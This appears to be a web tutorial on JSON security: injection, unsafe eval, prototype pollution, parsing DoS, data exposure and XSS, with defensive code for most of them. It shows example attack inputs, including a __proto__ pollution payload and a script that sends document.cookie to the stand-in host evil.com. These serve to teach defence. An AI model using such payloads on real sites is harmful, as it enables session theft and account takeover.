JSON Security Best Practices: Protect Your Applications

JSON is everywhere — APIs, configuration files, databases, and more. But with widespread use comes security risks. This guide covers the most critical JSON security vulnerabilities and how to defend against them.

1. JSON Injection

JSON injection occurs when untrusted data is inserted into a JSON structure without proper sanitization, potentially altering the structure or meaning of the data.

The Vulnerability

// DANGEROUS: String concatenation
const json = '{"user": "' + userInput + '", "role": "viewer"}';

// If userInput = 'admin", "role": "admin'
// Result: {"user": "admin", "role": "admin", "role": "viewer"}
// Many parsers will use the FIRST "role" value = "admin"!

The Fix

// SAFE: Use proper serialization
const data = {
    user: userInput,  // Automatically escaped
    role: "viewer"
};
const json = JSON.stringify(data);
Rule #1: Never build JSON by string concatenation. Always use JSON.stringify() or equivalent library functions.

2. Unsafe Deserialization

Deserializing JSON from untrusted sources can be dangerous if the parser or application processes special values or triggers side effects.

Never Use eval()

// EXTREMELY DANGEROUS — allows arbitrary code execution
const data = eval('(' + jsonString + ')');

// SAFE — use the built-in parser
const data = JSON.parse(jsonString);

Reviver Function for Sanitization

// Use a reviver to filter or transform values during parsing
const data = JSON.parse(jsonString, (key, value) => {
    // Reject functions or unexpected types
    if (typeof value === 'string' && value.length > 10000) {
        throw new Error('String value too long');
    }
    // Strip potentially dangerous keys
    if (key === '__proto__' || key === 'constructor') {
        return undefined;
    }
    return value;
});

3. Prototype Pollution

Prototype pollution is a JavaScript-specific vulnerability where an attacker modifies the prototype of base objects through crafted JSON input.

The Attack

{
    "__proto__": {
        "isAdmin": true
    }
}
// If this JSON is merged into an object unsafely:
const config = {};
merge(config, maliciousJSON);

// Now ALL objects inherit isAdmin = true
const user = {};
console.log(user.isAdmin); // true — DANGEROUS!

Prevention

// 1. Use Object.create(null) for dictionaries
const safeObj = Object.create(null);

// 2. Filter dangerous keys
function safeMerge(target, source) {
    for (const key of Object.keys(source)) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
            continue; // Skip dangerous keys
        }
        target[key] = source[key];
    }
    return target;
}

// 3. Use Object.freeze(Object.prototype) in critical apps
// 4. Use Map instead of plain objects for user-controlled keys

Advertisement

4. Denial of Service (DoS) via JSON

Attackers can craft JSON payloads designed to consume excessive resources during parsing.

Deeply Nested JSON

{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":
... hundreds of levels deep ...
}}}}}}}}}}}}

Extremely Large Payloads

{
    "data": "AAAAAAA... (millions of characters) ...AAAAAAA"
}

Prevention

// 1. Limit request body size (Express.js example)
app.use(express.json({ limit: '1mb' }));

// 2. Set parsing depth limits
// 3. Set timeouts on parsing operations
// 4. Validate payload size before parsing
// PHP: Limit JSON depth
$data = json_decode($input, true, 20); // Max 20 levels deep
if (json_last_error() === JSON_ERROR_DEPTH) {
    die('JSON nesting too deep');
}

5. Sensitive Data Exposure

Be careful about what data you include in JSON responses. Over-sharing is a common vulnerability.

❌ Exposing Sensitive Fields

{
    "id": 123,
    "name": "John Doe",
    "email": "john@example.com",
    "passwordHash": "$2b$10$abc123...",
    "ssn": "123-45-6789",
    "creditCard": "4111-1111-1111-1111",
    "internalNotes": "VIP customer, give 50% discount"
}

✅ Filtered Response

{
    "id": 123,
    "name": "John Doe",
    "email": "john@example.com"
}
// Always use allowlists, not blocklists
function sanitizeUser(user) {
    const { id, name, email } = user;
    return { id, name, email }; // Only return safe fields
}

6. Cross-Site Scripting (XSS) via JSON

If JSON data is rendered in HTML without proper escaping, it can lead to XSS attacks.

The Attack

{
    "name": "<script>document.location='https://evil.com/?c='+document.cookie</script>"
}

Prevention

Security Checklist

PracticePriority
Use JSON.stringify() / JSON.parse() — never eval()🔴 Critical
Validate and sanitize all input🔴 Critical
Protect against prototype pollution🔴 Critical
Limit payload size and nesting depth🟠 High
Filter sensitive data from responses🟠 High
Set proper Content-Type headers🟠 High
HTML-encode JSON values in templates🟠 High
Use JSON Schema for validation🟡 Medium
Implement rate limiting🟡 Medium
Log and monitor parsing errors🟡 Medium
Need to validate JSON safely? Use our free JSON Beautifier & Validator — all processing happens in your browser!